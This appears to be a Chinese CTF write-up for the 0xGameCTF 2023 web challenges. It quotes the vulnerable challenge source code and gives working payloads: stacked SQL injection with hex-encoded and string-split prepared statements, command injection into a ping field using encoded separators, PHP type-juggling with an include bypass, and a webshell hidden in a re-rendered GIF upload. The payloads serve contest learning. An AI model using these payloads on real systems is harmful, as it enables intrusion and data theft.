[0xGameCTF 2023] web题解

文章目录

  • [Week 1]
    • signin
    • baby_php
    • hello_http
    • repo_leak
    • ping
  • [Week 2]
    • ez_sqli
      • 方法一(十六进制绕过)
      • 方法二(字符串拼接)
    • ez_upload


[Week 1]

signin

打开题目,查看下js代码
在main.js里找到flag
在这里插入图片描述

baby_php

 <?php
// flag in flag.php
highlight_file(__FILE__);if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {$a = $_GET['a'];$b = $_GET['b'];$c = $_POST['c'];$name = $_COOKIE['name'];if ($a != $b && md5($a) == md5($b)) {if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {include($name.'.php');}}
}
?> 

简单分析一下,参数a和b值不相等但MD5相等;参数c不为数字,不等于1024,且转换为整数时等于1024;参数name为伪协议

得到flag
在这里插入图片描述

hello_http

就是一些基本的http请求知识
按照要求来,得到flag
在这里插入图片描述

repo_leak

打开题目,提示git泄露
在这里插入图片描述使用工具
先运行工具GitHack,再访问./.git/
在这里插入图片描述但是这里提取不到,要用到另外一个工具git_extract(python2环境,我这里两个版本都下了)
在这里插入图片描述然后在posts文件夹找到,得到flag
在这里插入图片描述

ping

打开题目,发现是ping命令
查看页面源码,发现存在前端检测(所以命令执行要bp抓包)和告诉我们hint
在这里插入图片描述访问一下,得到源码

 <?phpfunction sanitize($s) {$s = str_replace(';', '', $s);$s = str_replace(' ', '', $s);$s = str_replace('/', '', $s);$s = str_replace('flag', '', $s);return $s;
}if (isset($_GET['source'])) {highlight_file(__FILE__);die();
}if (!isset($_POST['ip'])) {die('No IP Address');
}$ip = $_POST['ip'];$ip = sanitize($ip);if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {die('Invalid IP Address');
}system('ping -c 4 '.$ip. ' 2>&1');?> 

分析一下,过滤了分号,空格,斜杠,flag。分号我们用%0a代替;空格用%09代替;斜杠利用`cd …;cd…;cd…代替;flag直接反斜杠绕过

bp抓包,添加命令得到flag
在这里插入图片描述

[Week 2]

ez_sqli

源码

from flask import Flask, render_template, request
import MySQLdb
import reblacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']conn = MySQLdb.connect(host='db', port=3306, user='root', passwd='root', db='ctf')app = Flask(__name__)@app.route('/')
def index():field = request.args.get('order', 'id')field = re.sub(r'\s+', '', field)for s in blacklist:if s.lower() in field.lower():return s + ' are banned'if not re.match(r"id|name|email", field):field = 'id'with conn.cursor() as cursor:cursor.execute('SELECT * FROM userinfo order by %s' % field)res = cursor.fetchall()return render_template('index.html', res=res)if __name__ == '__main__':app.run(host='0.0.0.0', port=8000, debug=True)

分析一下

  1. 首先是过滤了很多查询用的关键字
  2. 然后是禁用了空格,大小写绕过
  3. 上传参数值匹配id|name|email
  4. 最后就是查询语句cursor.execute('SELECT * FROM userinfo order by %s' % field)

这里的cursor.execute()是可以执行多条语句,我们可以使用堆叠注入;然后hint提示我们考点为预处理语句

set @id=1;
prepare stmt from 'SELECT * FROM users WHERE id=?';
execute stmt using @id;

由于这里没有禁用报错注入的函数,我们用updatexml去回显
payload

id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),1,31)),0x7e),3);prepare ctf from @a;execute ctf;

方法一(十六进制绕过)

id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C312C333129292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;

在这里插入图片描述然后查后面那一段

id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),32,99)),0x7e),3);prepare ctf from @a;execute ctf;

十六进制绕过

id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C33322C393929292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;

得到后面一段flag
在这里插入图片描述

方法二(字符串拼接)

payload相同

id;set/**/@a=concat("sel","ect/**/updat","exml(1,concat(0x7e,(sel","ect/**/substr((sel","ect/**/flag/**/from/**/flag),1,31)),0x7e),3)");prepare/**/ctf/**/from/**/@a;execute/**/ctf;

也能得到flag
在这里插入图片描述

ez_upload

给了题目附件,我们主要看下upload源码

<?php
error_reporting(0);
session_start();$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';if (!file_exists($user_dir)) {mkdir($user_dir);
}switch ($_FILES['file']['type']) {case "image/gif":$source = imagecreatefromgif($_FILES['file']['tmp_name']);break;case "image/jpeg":$source = imagecreatefromjpeg($_FILES['file']['tmp_name']);break;case "image/png":$source = imagecreatefrompng($_FILES['file']['tmp_name']);break;default:die('Invalid file type!');
}$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;switch ($_FILES['file']['type']) {case "image/gif":imagegif($source, $filepath);break;case "image/jpeg":imagejpeg($source, $filepath);break;case "image/png":imagepng($source, $filepath);break;default:die('Invalid file type!');
}echo 'Upload avatar success! Path: '.$filepath;$_SESSION['avatar'] = $filepath;
?>

简单分析一下,首先会检测MIME类型是否正确,然后经过二次渲染上传到指定路径
我们这里用的是gif,我们先上传一下
然后打开010观察上传后的图片和之前对比哪里是不变的
在这里插入图片描述然后在不会被二次渲染改变的地方添加一句话木马
(这里我最初上传的gif带一句话木马刚好没被改,就不用再添加一句话木马了)
上传图片,然后bp抓包修改文件后缀为php
在这里插入图片描述
访问,命令执行得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/106293.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

云安全——云计算基础

0x00 前言 学习云安全&#xff0c;那么必然要对云计算相关的内容进行学习和了解&#xff0c;所以云安全会分为两个部分来进行&#xff0c;首先是云计算先关的内容。 0x01 云计算 广泛传播 云计算最早大范围传播是2006年&#xff0c;8月&#xff0c;在圣何塞【1】举办的SES&a…

【Vue面试题二十八】、vue要做权限管理该怎么做?如果控制到按钮级别的权限怎么做?

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘也能加深记忆。利己利人、所谓双赢。 面试官&#xff1a;vue要做权限管理该怎么做…

【Java 进阶篇】JavaScript电灯开关案例:从原理到实现

JavaScript是一门强大的编程语言&#xff0c;它可以用来创建各种交互式网页应用。在这篇博客中&#xff0c;我们将通过一个简单的电灯开关案例来深入了解JavaScript的基础概念&#xff0c;包括HTML、CSS和JavaScript的结合使用。我们将从头开始构建这个案例&#xff0c;逐步引入…

PYTHON进阶-面向对象编程

&#x1f308;write in front&#x1f308; &#x1f9f8;大家好&#xff0c;我是Aileen&#x1f9f8;.希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流. &#x1f194;本文由Aileen_0v0&#x1f9f8; 原创 CSDN首发&#x1f412; 如…

windows计划任务的配置文件

界面操作 创建计划 依次设置 命令行操作 SCHTASKS 命令简介 SCHTASKS 命令是由微软公司开发并内置于 Windows 系统中的一个命令行工具。该命令可用于设置、修改、查询和删除计划任务&#xff0c;或启动计划任务中所定义的程序或脚本。 SCHTASKS 命令的基本语法 SCHTASKS 命…

多输入多输出 | MATLAB实现CNN-BiLSTM-Attention卷积神经网络-双向长短期记忆网络结合SE注意力机制的多输入多输出预测

MATLAB实现CNN-BiLSTM-Attention卷积神经网络-双向长短期记忆网络结合SE注意力机制的多输入多输出预测 目录 MATLAB实现CNN-BiLSTM-Attention卷积神经网络-双向长短期记忆网络结合SE注意力机制的多输入多输出预测预测效果基本介绍程序设计往期精彩参考资料 预测效果 基本介绍 C…

SpringBoot面试题1:什么是SpringBoot?为什么要用SpringBoot?

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:什么是SpringBoot? Spring Boot 是一个用于快速开发独立的、基于 Spring 框架的应用程序的开源框架。它简化了 Spring 应用的配置和部署过程,使…

基于秃鹰优化的BP神经网络(分类应用) - 附代码

基于秃鹰优化的BP神经网络&#xff08;分类应用&#xff09; - 附代码 文章目录 基于秃鹰优化的BP神经网络&#xff08;分类应用&#xff09; - 附代码1.鸢尾花iris数据介绍2.数据集整理3.秃鹰优化BP神经网络3.1 BP神经网络参数设置3.2 秃鹰算法应用 4.测试结果&#xff1a;5.M…

智慧公厕高精尖技术揭秘,让卫生管理更智能、更舒适

随着科技的飞速发展&#xff0c;智慧公厕正逐渐走进人们的生活。借助物联网、互联网、云计算、大数据、人工智能、自动化控制等技术的应用&#xff0c;智慧公厕将卫生管理提升到一个全新的水平&#xff0c;为公众打造了清洁舒适的使用环境。本文以智慧公厕源头厂家广州中期科技…

【Vue面试题二十九】、Vue项目中你是如何解决跨域的呢?

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘也能加深记忆。利己利人、所谓双赢。 面试官&#xff1a;Vue项目中你是如何解决跨…

C# OpenVINO 通用OCR识别 文字识别 中文识别 服务

软件说明 基于以下开源项目&#xff0c;做了再次封装 https://github.com/sdcb/OpenVINO.NET 自带模型&#xff0c;可离线部署&#xff1b; 技术路线&#xff1a;VS2022Sdcb.OpenVINOSdcb.OpenVINO.PaddleOCROpenCvSharpNLogNancy.Hosting.Self 软件界面 开启服务 测试 耗时…

二、K8S之Pods

Pod 一、概念 K8S作为一个容器编排管理工具&#xff0c;它可以自动化容器部署、容器扩展、容器负载均衡等任务&#xff0c;并提供容器的自愈能力等功能。在Kubernetes中&#xff0c;Pod是最基本的调度单元&#xff0c;它是一组共享存储和网络资源的容器集合&#xff0c;通常是…

计算机毕业设计-开题报告答辩常见问题!Javaweb项目答辩

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…

快速学习MyBatisPlus

文章目录 前言一、条件构造器和常用接口1.wapper介绍2.QueryWrapper&#xff08;1&#xff09;组装查询条件&#xff08;2&#xff09;组装排序查询&#xff08;3&#xff09;组装删除查询&#xff08;4&#xff09;条件优先级&#xff08;5&#xff09;组装select子句&#xf…

如何使用摩尔信使MThings连接网络设备

帽子&#xff1a; 摩尔信使MThings支持Modbus-TCP、Modbus-RTU Over TCP、Modbus-TCP Over UDP、Modbus-RTU Over UDP。 TCP链接中&#xff0c;摩尔信使MThings支持灵活的连接方式&#xff0c;主机可作为客户端也可以作为服务端&#xff0c;同时支持模拟从机以客户端方式向远…

283 移动零

解题思路&#xff1a; \qquad 适用双指针&#xff0c;l&#xff1a;最左边‘0’元素坐标&#xff1b;r&#xff1a;l右边第一个非零元素坐标。 \qquad 最初的思路&#xff1a;将l和r初始化为0&#xff0c;遍历数组nums若任意一个指针到达数组末尾时停止。若当前nums[l] 0则移…

Leetcode——数组的改变、移动练习

453. 最小操作次数使数组元素相等 本人答案超时 class Solution { public:int minMoves(vector<int>& nums) {int len nums.size();int count 0;if (len 1) {count 0;}else {while (nums[0] ! nums[1] || nums[len - 2] ! nums[len - 1]) {for (int i 0; i <…

【QT】Ubuntu 交叉编译安装 QT 5.12.7 源码

目录 1、下载 QT 源码包 2、搭建安装环境(下载依赖库) 3、创建QT源码编译脚本 4、运行编译脚本 1、下载 QT 源码包 QT5.12.7源码下载地址: download | QT 5.12.7 选择任意一种下载即可&#xff0c;适用于 Windows 和 Linux 环境 这里选择的是.tar.xz 类型&#xff0c;上…

联邦学习综述三

A Survey on Federated Learning Systems Vision Hype and Reality for Data Privacy and Protection 选自&#xff1a;IEEE Transactions on Knowledge and Data Engineering&#xff0c;2021 链接 本文主要从数据分布、机器学习模型、隐私机制、通信架构、联邦规模和联邦动…

Elasticsearch实现检索词自动补全(检索词补全,自动纠错,拼音补全,繁简转换) 包含demo

Elasticsearch实现检索词自动补全 自动补全定义映射字段建立索引测试自动补全 自动纠错查询语句查询结果 拼音补全与繁简转换安装 elasticsearch-analysis-pinyin 插件定义索引与映射建立拼音自动补全索引测试拼音自动补全测试繁简转换自动补全 代码实现demo结构demo获取 自动补…